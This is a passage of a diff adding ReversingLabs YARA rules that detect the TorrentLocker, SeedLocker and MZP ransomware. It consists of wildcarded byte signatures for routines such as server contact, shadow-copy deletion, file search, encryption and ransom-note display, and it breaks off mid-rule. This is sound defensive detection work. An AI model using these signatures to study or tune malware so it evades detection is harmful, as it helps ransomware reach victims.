+		uint16(0)==0x5A4D and ((($v30_entrypoint at pe.entry_point) and $v30_api_load and $v30_calculate_hash and $v30_dll_load and $v30_1_find_file_1 and $v30_1_find_file_2 and $v30_1_encrypt_file_1 and $v30_1_encrypt_file_2 and $v30_1_encrypt_file_3) or (($v30_entrypoint at pe.entry_point) and $v30_api_load and $v30_calculate_hash and $v30_dll_load and $v30_2_find_file_1 and $v30_2_find_file_2 and $v30_2_encrypt_file_1 and $v30_2_encrypt_file_2 and $v30_2_encrypt_file_3) or (($v20_entrypoint at pe.entry_point) and $v30_api_load and $v30_calculate_hash and $v30_dll_load and $v30_2_find_file_1 and $v30_2_find_file_2 and $v20_1_encrypt_file_1 and $v20_1_encrypt_file_2 and $v20_1_encrypt_file_3) or (($v30_entrypoint at pe.entry_point) and $v30_api_load and $v30_calculate_hash and $v30_dll_load and $v30_3_find_file_1 and $v30_3_find_file_2 and $v30_3_encrypt_file_1 and $v30_3_encrypt_file_2 and $v30_3_encrypt_file_3))
+}
+rule REVERSINGLABS_Win32_Ransomware_Torrentlocker : TC_DETECTION MALICIOUS MALWARE FILE
+{
+	meta:
+		description = "Yara rule that detects TorrentLocker ransomware."
+		author = "ReversingLabs"
+		id = "64bdb0db-ea0c-5a0d-9d3e-db1df86c132b"
+		date = "2020-07-15"
+		modified = "2020-07-15"
+		reference = "ReversingLabs"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/Win32.Ransomware.TorrentLocker.yara#L1-L98"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "f1aa523fa95e142b7e421286d26918e3da4bd3e268fef3f98f00820296291bfc"
+		score = 75
+		quality = 90
+		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
+		status = "RELEASED"
+		sharing = "TLP:WHITE"
+		category = "MALWARE"
+		tc_detection_type = "Ransomware"
+		tc_detection_name = "TorrentLocker"
+		tc_detection_factor = 5
+		importance = 25
+
+	strings:
+		$tlocker_ep = {
+          68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 74 05 E8 ?? ?? ?? ?? 33 C0 C3
+      }
+		$tlocker_contact_server_1 = {
+          55 8B EC 83 EC ?? 8D 45 ?? 50 8D 4D ?? 51 B8 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 74 21 83 7D
+          ?? ?? 8B 45 ?? 75 05 8B 10 89 55 ?? 85 C0 74 0F 50 A1 ?? ?? ?? ?? 6A ?? 50 FF 15 ?? ?? ?? ?? 53 56 57 8D 9B ?? ?? ?? ??
+          8B 4D ?? 8D 55 ?? 52 6A ?? BB ?? ?? ?? ?? 89 4D ?? E8 ?? ?? ?? ?? 8B F0 83 C4 ?? 89 75 ?? 85 F6 0F 84 2C 01 00 00 8B BE
+          ?? ?? ?? ?? 81 C7 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B D8 85 DB 0F 84 EB 00 00 00 6A ?? 68 ?? ?? ?? ?? 68
+          ?? ?? ?? ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 53 FF 15 ?? ?? ?? ?? 8B F0 85 F6 0F 84 89 00 00 00 8D 45 ?? 50 8D
+          4D ?? 51 6A ?? 56 C7 45 ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 74 16 81 4D ?? ?? ?? ?? ?? 6A ?? 8D 55 ?? 52 6A ?? 56 FF
+          15 ?? ?? ?? ?? 8B 45 ?? 57 50 6A ?? 6A ?? 56 FF 15 ?? ?? ?? ?? 85 C0 74 38 6A ?? 8D 4D ?? 51 8D 55 ?? 52 68 ?? ?? ?? ??
+          56 C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 74 10 81 7D ?? ?? ?? ?? ?? 75 07 C7 45 ?? ?? ?? ??
+          ?? 8B 3D ?? ?? ?? ?? 56 FF D7 EB 06 8B 3D ?? ?? ?? ?? 8D 45 ?? 50 8D 4D ?? 51 6A ?? 53 C7 45 ?? ?? ?? ?? ?? C7 45 ?? ??
+          ?? ?? ?? FF 15 ?? ?? ?? ?? 53 8B F0 FF D7 85 F6 74 06 8B 55 ?? 52 FF D7 8B 75 ?? 8B 0D ?? ?? ?? ?? 33 C0 83 7D ?? ?? 56
+          0F 94 C0 6A ?? 51 8B F8 FF 15 ?? ?? ?? ?? 85 FF 75 10 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? E9 9E FE FF FF 5F 5E 5B 8B E5 5D
+          C3
+      }
+		$tlocker_contact_server_2_1 = {
+          55 8B EC 83 EC ?? 8D 45 ?? 50 8D 4D ?? 51 B8 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 74 21 83 7D
+          ?? ?? 8B 45 ?? 75 05 8B 10 89 55 ?? 85 C0 74 0F 50 A1 ?? ?? ?? ?? 6A ?? 50 FF 15 ?? ?? ?? ?? 53 56 57 8D 9B ?? ?? ?? ??
+          8B 4D ?? 8D 55 ?? 52 6A ?? BF ?? ?? ?? ?? 89 4D ?? E8 ?? ?? ?? ?? 8B F0 83 C4 ?? 89 75 ?? 85 F6 0F 84 E5 01 00 00 BF ??
+          ?? ?? ?? 39 3D ?? ?? ?? ?? 74 11 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 89 3D ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B
+          9E ?? ?? ?? ?? 81 C3 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B F8 85 FF 0F 84 EB 00 00 00 6A ?? 68 ?? ?? ?? ??
+          68 ?? ?? ?? ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 57 FF 15 ?? ?? ?? ?? 8B F0 85 F6 0F 84 89 00 00 00 8D 45 ?? 50
+          8D 4D ?? 51 6A ?? 56 C7 45 ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 74 16 81 4D ?? ?? ?? ?? ?? 6A ?? 8D 55 ?? 52 6A ?? 56
+          FF 15 ?? ?? ?? ?? 8B 45 ?? 53 50 6A ?? 6A ?? 56 FF 15 ?? ?? ?? ?? 85 C0 74 38 6A ?? 8D 4D ?? 51 8D 55 ?? 52 68 ?? ?? ??
+          ?? 56 C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 74 10 81 7D ?? ?? ?? ?? ?? 75 07 C7 45 ?? ?? ??
+          ?? ?? 56 8B 35 ?? ?? ?? ?? FF D6 EB 06 8B 35 ?? ?? ?? ?? 8D 45 ?? 50 8D 4D ?? 51 6A ?? 57 C7 45 ?? ?? ?? ?? ?? C7 45 ??
+      }
+		$tlocker_contact_server_2_2 = {
+          ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 57 8B D8 FF D6 85 DB 74 06 8B 55 ?? 52 FF D6 8B 75 ?? 33 C0 83 7D ?? ?? 0F 94 C0 8B F8 85
+          FF 74 18 8B 0D ?? ?? ?? ?? 89 0D ?? ?? ?? ?? C7 05 ?? ?? ?? ?? ?? ?? ?? ?? EB 5E 8B 15 ?? ?? ?? ?? 3B 15 ?? ?? ?? ?? 75
+          34 FF 15 ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? 8B D1 41 89 0D ?? ?? ?? ?? 85 D2 7E 71 8B 0D ?? ?? ?? ?? 3B C1 73 08 8B C8 89 0D
+          ?? ?? ?? ?? 2B C1 3D ?? ?? ?? ?? 72 1C A1 ?? ?? ?? ?? 40 83 F8 ?? 7E 05 A1 ?? ?? ?? ?? 8B C8 A3 ?? ?? ?? ?? E8 ?? ?? ??
+          ?? 81 3D ?? ?? ?? ?? ?? ?? ?? ?? 75 0B 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? A1 ?? ?? ?? ?? 56 6A ?? 50 FF 15 ?? ?? ?? ?? 85
+          FF 75 17 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? E9 E5 FD FF FF A3 ?? ?? ?? ?? EB BF 5F 5E 5B 8B E5 5D C3
+      }
+		$tlocker_get_server_data = {
+          55 8B EC 83 EC ?? 56 57 33 FF 57 57 8D 45 ?? 50 53 33 F6 FF 15 ?? ?? ?? ?? 85 C0 74 77 8D 49 ?? 8B 4D ?? 03 CF 85 F6 75
+          73 33 C0 85 C9 74 0F 8B 15 ?? ?? ?? ?? 51 50 52 FF 15 ?? ?? ?? ?? 33 C9 85 C0 0F 95 C1 8B F0 8B C1 85 C0 74 33 8B 55 ??
+          8D 4D ?? 51 52 8D 04 37 50 53 FF 15 ?? ?? ?? ?? 85 C0 74 1C 8B 45 ?? 85 C0 74 ?? 6A ?? 6A ?? 8D 4D ?? 51 53 03 F8 FF 15
+          ?? ?? ?? ?? 85 C0 75 A0 85 F6 74 10 8B 0D ?? ?? ?? ?? 56 6A ?? 51 FF 15 ?? ?? ?? ?? 5F 33 C0 5E 8B E5 5D C3
+      }
+		$tlocker_remove_shadow_copies = {
+          55 8B EC 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? A1 ?? ?? ?? ?? 53 57 6A ?? 33 FF 57 50 FF 15 ?? ?? ?? ?? 8B D8
+          3B DF 0F 84 DC 00 00 00 56 8D B5 ?? ?? ?? ?? 89 BD ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 74 0A C7 85 ?? ?? ?? ?? ?? ?? ?? ??
+          68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 51 FF 15 ?? ?? ?? ?? 3D ?? ?? ?? ?? 73 5E B8 ?? ?? ?? ?? 8B D3 2B D0 0F B7 08 66 89 0C
+          02 83 C0 ?? 66 3B CF 75 F1 6A ?? 8D 95 ?? ?? ?? ?? 57 52 E8 ?? ?? ?? ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? 50 8D 8D ?? ?? ?? ??
+          51 8D 95 ?? ?? ?? ?? 52 57 68 ?? ?? ?? ?? 57 57 57 53 57 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 75 0F FF
+          15 ?? ?? ?? ?? 8B C8 E8 ?? ?? ?? ?? 8B F8 83 BD ?? ?? ?? ?? ?? 74 0B 8B B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 53
+          6A ?? 50 FF 15 ?? ?? ?? ?? 5E 8B C7 5F 5B 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C3 8B 4D ?? 5F 33 CD B8 ?? ?? ?? ?? 5B
+          E8 ?? ?? ?? ?? 8B E5 5D C3
+      }
+		$tlocker_find_files = {
+          55 8B EC 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 8B 0D ?? ?? ?? ?? 8B 45 ?? 53 56 57 68 ?? ?? ?? ?? 33 F6 56 51
+          89 85 ?? ?? ?? ?? 89 B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B D8 85 DB 0F 84 AD 01 00 00 53 56 56 6A ?? 56 FF 15 ?? ?? ?? ??
+          85 C0 0F 88 89 01 00 00 68 ?? ?? ?? ?? 53 53 FF 15 ?? ?? ?? ?? 8B C3 8D 50 ?? 8D 9B ?? ?? ?? ?? 66 8B 08 83 C0 ?? 66 85
+          C9 75 F5 2B C2 D1 F8 8B F8 E8 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 85 C0 0F 84 4D 01 00 00 8D 95 ?? ?? ?? ?? 52 50 FF 15 ?? ??
+          ?? ?? 89 85 ?? ?? ?? ?? 85 C0 0F 84 15 01 00 00 F6 85 ?? ?? ?? ?? ?? 0F 84 EC 00 00 00 B9 ?? ?? ?? ?? 8D 85 ?? ?? ?? ??
+          66 8B 10 66 3B 11 75 1E 66 85 D2 74 15 66 8B 50 ?? 66 3B 51 ?? 75 0F 83 C0 ?? 83 C1 ?? 66 85 D2 75 DE 33 C0 EB 05 1B C0
+          83 D8 ?? 85 C0 0F 84 AE 00 00 00 B9 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 66 8B 10 66 3B 11 75 1E 66 85 D2 74 15 66 8B 50 ?? 66
+          3B 51 ?? 75 0F 83 C0 ?? 83 C1 ?? 66 85 D2 75 DE 33 C0 EB 05 1B C0 83 D8 ?? 85 C0 74 74 8D 85 ?? ?? ?? ?? 8D 50 ?? 8B FF
+          66 8B 08 83 C0 ?? 66 85 C9 75 F5 2B C2 D1 F8 03 C7 8D 44 00 ?? 85 C0 74 6C 50 A1 ?? ?? ?? ?? 6A ?? 50 FF 15 ?? ?? ?? ??
+          8B F0 85 F6 74 57 53 8D 4F ?? 51 56 E8 ?? ?? ?? ?? 83 C4 ?? 8D 95 ?? ?? ?? ?? 52 56 56 FF 15 ?? ?? ?? ?? 8B 85 ?? ?? ??
+          ?? 50 56 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 74 0A C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 51 52 FF
+          15 ?? ?? ?? ?? 85 C0 0F 85 EB FE FF FF 8B 85 ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? 50 6A ?? 51 FF 15 ?? ?? ?? ?? 8B B5 ?? ?? ??
+          ?? 8B 15 ?? ?? ?? ?? 53 6A ?? 52 FF 15 ?? ?? ?? ?? 8B 4D ?? 5F 8B C6 5E 33 CD 5B E8 ?? ?? ?? ?? 8B E5 5D C3
+      }
+
+	condition:
+		uint16(0)==0x5A4D and (($tlocker_ep and $tlocker_get_server_data and $tlocker_remove_shadow_copies and $tlocker_find_files) and ($tlocker_contact_server_1 or ($tlocker_contact_server_2_1 and $tlocker_contact_server_2_2)))
+}
+rule REVERSINGLABS_Win64_Ransomware_Seedlocker : TC_DETECTION MALICIOUS MALWARE FILE
+{
+	meta:
+		description = "Yara rule that detects SeedLocker ransomware."
+		author = "ReversingLabs"
+		id = "efa3dd2e-faf4-5882-aef8-85189e65f0f9"
+		date = "2020-07-15"
+		modified = "2020-07-15"
+		reference = "ReversingLabs"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/Win64.Ransomware.SeedLocker.yara#L1-L91"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "a478efcfb03e3eeebe72d9a71629456cf061c3c779fbdde99539854caf8c7c33"
+		score = 75
+		quality = 90
+		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
+		status = "RELEASED"
+		sharing = "TLP:WHITE"
+		category = "MALWARE"
+		tc_detection_type = "Ransomware"
+		tc_detection_name = "SeedLocker"
+		tc_detection_factor = 5
+		importance = 25
+
+	strings:
+		$search_files = {
+            48 89 5C 24 ?? 48 89 7C 24 ?? 55 48 8D AC 24 ?? ?? ?? ?? 48 81 EC ?? ?? ?? ?? 48 8B
+            05 ?? ?? ?? ?? 48 33 C4 48 89 85 ?? ?? ?? ?? 48 8B F9 4C 8D 05 ?? ?? ?? ?? 4C 8B C9
+            BA ?? ?? ?? ?? 48 8D 8D ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 48 8D 54 24 ?? 48 8D 8D ?? ??
+            ?? ?? FF 15 ?? ?? ?? ?? 48 8B D8 48 83 F8 ?? 0F 84 ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ??
+            48 8D 4C 24 ?? FF 15 ?? ?? ?? ?? 85 C0 74 ?? 48 8D 15 ?? ?? ?? ?? 48 8D 4C 24 ?? FF
+            15 ?? ?? ?? ?? 85 C0 74 ?? 48 8D 44 24 ?? 4C 8B CF 4C 8D 05 ?? ?? ?? ?? 48 89 44 24
+            ?? BA ?? ?? ?? ?? 48 8D 8D ?? ?? ?? ?? FF 15 ?? ?? ?? ?? F6 44 24 ?? ?? 48 8D 8D ??
+            ?? ?? ?? 74 ?? 48 8D 15 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 48 8D 8D ?? ?? ?? ?? E8 ?? ??
+            ?? ?? EB ?? FF 15 ?? ?? ?? ?? 48 8D 54 24 ?? 48 8B CB FF 15 ?? ?? ?? ?? 85 C0 0F 85
+            ?? ?? ?? ?? 48 8B CB FF 15 ?? ?? ?? ?? 48 8B CF FF 15 ?? ?? ?? ?? 48 8B 8D ?? ?? ??
+            ?? 48 33 CC E8 ?? ?? ?? ?? 4C 8D 9C 24 ?? ?? ?? ?? 49 8B 5B ?? 49 8B 7B ?? 49 8B E3
+            5D C3
+        }
+		$encrypt_files_p1 = {
+            FF 15 ?? ?? ?? ?? 48 8D 8D ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 48 63 C8 48 8D 85 ?? ?? ??
+            ?? 48 8D 04 48 48 83 C0 ?? 66 83 38 ?? 75 ?? 45 33 FF 4C 8D 05 ?? ?? ?? ?? 66 44 89
+            38 45 33 C9 48 83 C0 ?? 4C 89 7C 24 ?? 48 89 05 ?? ?? ?? ?? 33 D2 48 8D 05 ?? ?? ??
+            ?? 44 89 7C 24 ?? 33 C9 48 89 05 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 33 D2 45 8D 47 ?? 33
+            C9 FF 15 ?? ?? ?? ?? 48 8B F0 48 85 C0 74 ?? 48 8B 1D ?? ?? ?? ?? 48 81 C3 ?? ?? ??
+            ?? EB ?? 48 8B CB FF 15 ?? ?? ?? ?? 41 B8 ?? ?? ?? ?? 48 8B D3 48 8B CE 44 8B F0 FF
+            15 ?? ?? ?? ?? 48 8B F8 48 85 C0 74 ?? 4C 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? 48 8B C8
+            FF 15 ?? ?? ?? ?? 48 8B CF FF 15 ?? ?? ?? ?? 41 8D 46 ?? 48 63 C8 48 8D 1C 4B 66 44
+            39 3B 75 ?? 48 8B CE FF 15 ?? ?? ?? ?? 33 D2 8D 4A ?? FF 15 ?? ?? ?? ?? 48 8B F8 48
+            83 F8 ?? 0F 84 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? EB ?? 48 8B 1D ?? ?? ?? ?? 48 81
+            C3 ?? ?? ?? ?? EB ?? 48 8B CB FF 15 ?? ?? ?? ?? 48 8B D3 48 8D 4C 24 ?? 44 8B F0 FF
+            15 ?? ?? ?? ?? 85 C0 75 ?? 44 8B 44 24 ?? 8D 48 ?? 33 D2 FF 15 ?? ?? ?? ?? 48 8B F0
+            48 83 F8 ?? 74 ?? 33 D2 48 8B C8 FF 15 ?? ?? ?? ?? 48 8B CE FF 15 ?? ?? ?? ?? 41 8D
+            46 ?? 48 63 C8 48 8D 1C 4B 66 44 39 3B 75 ?? 48 8D 54 24 ?? 48 8B CF FF 15 ?? ?? ??
+            ?? 85 C0 75 ?? 48 8B CF FF 15 ?? ?? ?? ?? 33 D2 48 8D 8D ?? ?? ?? ?? 41 B8 ?? ?? ??
+            ?? E8 ?? ?? ?? ?? 48 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 D2 48 8D 35 ?? ?? ?? ?? 48
+        }
+		$encrypt_files_p2 = {
+            8D 8D ?? ?? ?? ?? 48 89 B5 ?? ?? ?? ?? 44 8D 42 ?? E8 ?? ?? ?? ?? 4C 8B 05 ?? ?? ??
+            ?? 48 8D 8D ?? ?? ?? ?? 48 8B 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? BB ?? ?? ?? ?? 4C 89 BD
+            ?? ?? ?? ?? 44 8B CB C7 44 24 ?? ?? ?? ?? ?? 45 33 C0 48 8D 8D ?? ?? ?? ?? 33 D2 FF
+            15 ?? ?? ?? ?? 85 C0 75 ?? FF 15 ?? ?? ?? ?? 3D ?? ?? ?? ?? 75 ?? 48 8D 44 24 ?? 45
+            33 C9 45 33 C0 48 89 44 24 ?? 8D 53 ?? 33 C9 FF 15 ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ??
+            48 8D 4C 24 ?? FF 15 ?? ?? ?? ?? 48 8D 4C 24 ?? E8 ?? ?? ?? ?? EB ?? FF 15 ?? ?? ??
+            ?? 3D ?? ?? ?? ?? 75 ?? 44 8B CB C7 44 24 ?? ?? ?? ?? ?? 45 33 C0 48 8D 8D ?? ?? ??
+            ?? 33 D2 FF 15 ?? ?? ?? ?? 48 8B BD ?? ?? ?? ?? 48 85 FF 0F 84 ?? ?? ?? ?? 48 8B 0D
+            ?? ?? ?? ?? 41 8B DF 48 81 C1 ?? ?? ?? ?? 45 8B F7 FF 15 ?? ?? ?? ?? 85 C0 7E ?? 49
+            8B F7 48 8B 05 ?? ?? ?? ?? 4C 8D 05 ?? ?? ?? ?? BA ?? ?? ?? ?? 0F BE 8C 06 ?? ?? ??
+            ?? 44 0F BE 8C 06 ?? ?? ?? ?? 89 4C 24 ?? 48 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 D2
+            48 8D 8D ?? ?? ?? ?? 44 8D 42 ?? E8 ?? ?? ?? ?? 8B CB 48 8D 76 ?? FF C3 41 83 C6 ??
+            88 84 0D ?? ?? ?? ?? 48 8B 0D ?? ?? ?? ?? 48 81 C1 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 44
+        }
+		$encrypt_files_p3 = {
+            3B F0 7C ?? 48 8D 35 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 45 33 C9 48 89 44 24 ?? 48 8D
+            95 ?? ?? ?? ?? 44 8B C3 44 89 7C 24 ?? 48 8B CF FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ??
+            ?? ?? 48 8B 1D ?? ?? ?? ?? 48 8D 8D ?? ?? ?? ?? 48 8B 15 ?? ?? ?? ?? 4C 8B C3 E8 ??
+            ?? ?? ?? 48 8B 8D ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 45 33 C9 C7 44 24 ?? ?? ?? ?? ??
+            48 89 44 24 ?? 33 D2 48 8D 85 ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 48 89 44 24 ?? 45 8D 41
+            ?? FF 15 ?? ?? ?? ?? 85 C0 74 ?? 41 8B DF 44 39 BD ?? ?? ?? ?? 76 ?? 8B C3 4C 8D 05
+            ?? ?? ?? ?? BA ?? ?? ?? ?? 48 8D 8D ?? ?? ?? ?? 44 0F B6 8C 05 ?? ?? ?? ?? E8 ?? ??
+            ?? ?? 48 8D 95 ?? ?? ?? ?? 48 8D 0D ?? ?? ?? ?? FF 15 ?? ?? ?? ?? FF C3 3B 9D ?? ??
+            ?? ?? 72 ?? 48 8B 8D ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 33 D2 48 8B CF FF 15 ?? ?? ?? ??
+            48 8B 05 ?? ?? ?? ?? 4C 8D 8D ?? ?? ?? ?? 48 83 C0 ?? 4C 8D 05 ?? ?? ?? ?? BA ?? ??
+            ?? ?? 48 89 44 24 ?? 48 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 0F 6F 05 ?? ?? 06 00 48
+            8D 95 ?? ?? ?? ?? 48 8D 8D ?? ?? ?? ?? 66 44 89 BD ?? ?? 00 00 F3 0F 7F 85 ?? ?? ??
+            ?? E8 ?? ?? ?? ?? 48 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ??
+            48 8D 8D ?? ?? ?? ?? 48 89 B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 C0 48 8B 8D ?? ?? ?? ??
+            48 33 CC E8 ?? ?? ?? ?? 4C 8D 9C 24 ?? ?? ?? ?? 49 8B 5B ?? 49 8B 73 ?? 49 8B 7B ??
+            49 8B E3 41 5F 41 5E 5D C3
+        }
+
+	condition:
+		uint16(0)==0x5A4D and $search_files and ( all of ($encrypt_files_p*))
+}
+rule REVERSINGLABS_Win32_Ransomware_MZP : TC_DETECTION MALICIOUS MALWARE FILE
+{
+	meta:
+		description = "Yara rule that detects MZP ransomware."
+		author = "ReversingLabs"
+		id = "c08a4080-fa26-5b7b-869d-5f59096b1a12"
+		date = "2020-07-15"
+		modified = "2020-07-15"
+		reference = "ReversingLabs"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/Win32.Ransomware.MZP.yara#L1-L147"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "724ae1033bfb8ff494b30e6b3333e6c848375f1b001b75e71c9444c9f9f31251"
+		score = 75
+		quality = 90
+		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
+		status = "RELEASED"
+		sharing = "TLP:WHITE"
+		category = "MALWARE"
+		tc_detection_type = "Ransomware"
+		tc_detection_name = "MZP"
+		tc_detection_factor = 5
+		importance = 25
+
+	strings:
+		$show_ransom_note_p1 = {
+            55 8B EC B9 ?? ?? ?? ?? 6A ?? 6A ?? 49 75 ?? 53 56 84 D2 74 ?? 83 C4 ?? E8 ?? ?? ??
+            ?? 88 55 ?? 8B D8 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 33 D2 8B C3 E8 ?? ?? ??
+            ?? 89 1D ?? ?? ?? ?? 33 C9 B2 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B F0 89 73 ?? 33 C0
+            89 46 ?? 33 C0 89 86 ?? ?? ?? ?? 33 C0 89 86 ?? ?? ?? ?? C7 86 ?? ?? ?? ?? ?? ?? ??
+            ?? C7 86 ?? ?? ?? ?? ?? ?? ?? ?? C6 86 ?? ?? ?? ?? ?? C7 86 ?? ?? ?? ?? ?? ?? ?? ??
+            6A ?? 6A ?? 8D 45 ?? 50 33 C9 B2 ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 55 ?? 8D 86 ??
+            ?? ?? ?? 8B 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 86 ?? ?? ?? ?? ?? C6 86 ?? ?? ?? ?? ??
+            C6 86 ?? ?? ?? ?? ?? 33 C0 89 86 ?? ?? ?? ?? C6 86 ?? ?? ?? ?? ?? 33 C0 89 86 ?? ??
+            ?? ?? C6 86 ?? ?? ?? ?? ?? C6 86 ?? ?? ?? ?? ?? 8D 86 ?? ?? ?? ?? 33 D2 E8 ?? ?? ??
+            ?? 8D 86 ?? ?? ?? ?? 33 D2 E8 ?? ?? ?? ?? 33 C0 89 86 ?? ?? ?? ?? 33 C0 89 86 ?? ??
+            ?? ?? C6 86 ?? ?? ?? ?? ?? 8D 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 55 ?? 8B C6 E8
+            ?? ?? ?? ?? B2 ?? 8B C6 E8 ?? ?? ?? ?? C6 86 ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? A1 ?? ??
+            ?? ?? 8B 00 50 E8 ?? ?? ?? ?? 8B D0 8B C6 E8 ?? ?? ?? ?? 33 D2 8B C6 E8
+        }
+		$show_ransom_note_p2 = {
+            C6 86 ?? ?? ?? ?? ?? C7 86 ?? ?? ?? ?? ?? ?? ?? ?? 8D 86 ?? ?? ?? ?? 33 D2 E8 ?? ??
+            ?? ?? C6 86 ?? ?? ?? ?? ?? C6 86 ?? ?? ?? ?? ?? 89 B6 ?? ?? ?? ?? C7 86 ?? ?? ?? ??
+            ?? ?? ?? ?? 33 C0 89 86 ?? ?? ?? ?? 33 C0 89 86 ?? ?? ?? ?? 8B C6 8B 10 FF 52 ?? B2
+            ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B F0 89 73 ?? 8D 46 ?? BA ?? ?? ?? ?? E8 ?? ?? ??
+            ?? C6 46 ?? ?? C6 46 ?? ?? B2 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B F0 89 73 ?? C6 46
+            ?? ?? 8D 46 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? B2 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B
+            F0 89 73 ?? BA ?? ?? ?? ?? 8B C6 E8 ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B D0
+            8D 46 ?? E8 ?? ?? ?? ?? B2 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B F0 89 73 ?? 8B C6 C6
+            40 ?? ?? 66 BA ?? ?? E8 ?? ?? ?? ?? B2 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B F0 89 73
+            ?? 8B C6 C6 40 ?? ?? 66 BA ?? ?? E8 ?? ?? ?? ?? B2 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ??
+            89 43 ?? 8B 73 ?? 8D 46 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 46 ?? 33 D2 E8 ?? ?? ??
+            ?? C6 46 ?? ?? C6 46 ?? ?? C6 46 ?? ?? C6 46 ?? ?? C6 46 ?? ?? 8D 46 ?? BA ?? ?? ??
+            ?? E8 ?? ?? ?? ?? B2 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 43 ?? B2 ?? A1 ?? ?? ?? ??
